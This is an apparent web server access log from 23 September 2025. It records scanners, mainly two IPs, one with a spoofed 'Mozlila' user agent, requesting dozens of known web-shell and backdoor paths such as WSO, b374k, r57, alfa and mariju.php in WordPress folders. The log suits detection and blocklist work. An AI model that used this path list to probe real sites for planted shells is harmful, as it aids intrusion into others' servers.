196.251.80.56 - - [23/Sep/2025:12:32:45 -0400] "GET /h3k.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:32:48 -0400] "GET /f1l3.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:32:50 -0400] "GET /cgi.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:32:53 -0400] "GET /lock360.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
206.189.247.132 - - [23/Sep/2025:12:32:58 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
3.9.17.39 - - [23/Sep/2025:12:32:58 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
193.239.84.56 - - [23/Sep/2025:12:32:58 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:12:32:58 -0400] "GET /index.html HTTP/1.1" 200 1404 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:12:33:01 -0400] "GET /wp-edit.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:33:02 -0400] "GET /wp-include/xmrlpc.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:33:07 -0400] "GET /.wp-themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:33:13 -0400] "GET /.wp-themes.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:33:20 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:33:31 -0400] "GET /heex.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:33:33 -0400] "GET /up.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:30:46 -0400] "GET /y0y0.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:30:51 -0400] "GET /galau.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:30:53 -0400] "GET /pc.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:30:58 -0400] "GET /pacman.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:31:02 -0400] "GET /kudaxload.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:31:11 -0400] "GET /crotz.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:31:15 -0400] "GET /kagetguababi.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:31:17 -0400] "GET /indonesia.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:31:28 -0400] "GET /info.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:31:37 -0400] "GET /.-php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:31:54 -0400] "GET /data.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:31:58 -0400] "GET /ies.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:32:08 -0400] "GET /anonghost.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:32:11 -0400] "GET /anonymous.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:32:14 -0400] "GET /k2ll33d.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:32:17 -0400] "GET /4n0n.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:32:25 -0400] "GET /4non.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:32:31 -0400] "GET /whitehat.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:32:34 -0400] "GET /hat.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:32:40 -0400] "GET /h4t.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:32:47 -0400] "GET /xmrlpc.php7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:32:54 -0400] "GET /user.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:32:57 -0400] "GET /wp-blog.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:32:58 -0400] "GET /Mshell.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:33:04 -0400] "GET /shells.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:33:07 -0400] "GET /sh3lls.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:33:12 -0400] "GET /d00r.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:33:15 -0400] "GET /uploader.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:33:20 -0400] "GET /war.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:33:25 -0400] "GET /l.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:33:25 -0400] "GET /ern1.PhP7 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:33:29 -0400] "GET /z.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:33:37 -0400] "GET /h7.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:33:38 -0400] "GET /inputs.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:33:45 -0400] "GET /login.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:33:48 -0400] "GET /log.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:33:52 -0400] "GET /hidden.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:34:00 -0400] "GET /us.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:33:40 -0400] "GET /k0nt0l.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:33:44 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:33:45 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:33:47 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:33:53 -0400] "GET /.well-known/pkivalidation/bala.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:33:56 -0400] "GET /regis.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:34:08 -0400] "GET /wp-content/plugins/wp-daft/t62.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:34:10 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:34:10 -0400] "GET /c0der.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:34:12 -0400] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:34:13 -0400] "GET /code.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:34:13 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:34:21 -0400] "GET /minion.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:34:30 -0400] "GET /tempfuns.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:34:33 -0400] "GET /cracker.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:34:40 -0400] "GET /comdofuns.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:34:41 -0400] "GET /naruto.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:34:45 -0400] "GET /000.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:34:52 -0400] "GET /k2ll.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:34:57 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:35:08 -0400] "GET /onclickfuns.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:34:01 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:34:06 -0400] "GET /string.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:34:16 -0400] "GET /blank.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:34:22 -0400] "GET /qinfofuns.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:34:26 -0400] "GET /minionghost.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:34:29 -0400] "GET /gh0st.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:34:36 -0400] "GET /ups.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:34:48 -0400] "GET /userfuns.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:34:56 -0400] "GET /Uploader.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:35:01 -0400] "GET /up5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:35:09 -0400] "GET /upload.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:35:12 -0400] "GET /upload5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:35:17 -0400] "GET /chtmlfuns.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:35:17 -0400] "GET /WSO.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:35:21 -0400] "GET /dz.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:35:32 -0400] "GET /bugz.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:35:38 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:35:39 -0400] "GET /term.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:35:51 -0400] "GET /sql.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:35:51 -0400] "GET /wp-includes/sitemaps/providers/mariju.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:35:58 -0400] "GET /ssl.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:36:08 -0400] "GET /mysql.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:36:10 -0400] "GET /cgi-bin/mariju.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:36:11 -0400] "GET /WolF.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:36:14 -0400] "GET /wp-includes/IXR/mariju.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:36:16 -0400] "GET /Cgishell.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:36:20 -0400] "GET /killer.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:35:24 -0400] "GET /DZ.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:35:27 -0400] "GET /cpanel.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:35:31 -0400] "GET /cpn.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:35:35 -0400] "GET /sos.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:35:44 -0400] "GET /wp-mini.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:35:45 -0400] "GET /Sec-War.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:35:54 -0400] "GET /b374.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:35:59 -0400] "GET /wp-admin/css/colors/coffee/mariju.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:36:13 -0400] "GET /madspot.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:36:25 -0400] "GET /changeall.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:36:28 -0400] "GET /Sh3ll.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:36:49 -0400] "GET /dom.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:36:54 -0400] "GET /mini.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:37:00 -0400] "GET /whmcs.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:37:12 -0400] "GET /b374k.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:37:16 -0400] "GET /r57.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:37:20 -0400] "GET /wp-admin/includes/mariju.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:37:21 -0400] "GET /berandal.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:37:24 -0400] "GET /alpashell.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:37:29 -0400] "GET /alpa.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:37:32 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:37:34 -0400] "GET /alfa.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:37:38 -0400] "GET /cyber.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:37:42 -0400] "GET /cybershell.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:37:50 -0400] "GET /semen.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:37:58 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:38:00 -0400] "GET /ia5qe.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:38:03 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:38:04 -0400] "GET /ganz.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:38:10 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:36:26 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:36:33 -0400] "GET /dz0.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:36:34 -0400] "GET /images/mariju.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:36:37 -0400] "GET /XAttacker.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:36:39 -0400] "GET /Xattacker.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:36:45 -0400] "GET /dam.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:36:45 -0400] "GET /wp-includes/php-compat/mariju.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:36:55 -0400] "GET /wp-admin/maint/mariju.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:37:07 -0400] "GET /badcode.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:37:10 -0400] "GET /wp-includes/ID3/mariju.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:37:36 -0400] "GET /wp-includes/customize/mariju.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:12:37:46 -0400] "GET /wp-admin/network/mariju.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:37:47 -0400] "GET /sement.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:37:56 -0400] "GET /gans.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:38:05 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:38:08 -0400] "GET /wa.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:38:13 -0400] "GET /network.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:38:20 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:38:27 -0400] "GET /team.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:38:35 -0400] "GET /linux.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:38:44 -0400] "GET /tembem.php5 HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:12:38:45 -0400] "GET /wp-content/plugins/wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:12:38:51 -0400] "GET /mia.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:38:16 -0400] "GET /ghost.php5 HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:38:19 -0400] "GET /hgt.php5 HTTP/1.1" 301 795 "-" "-"
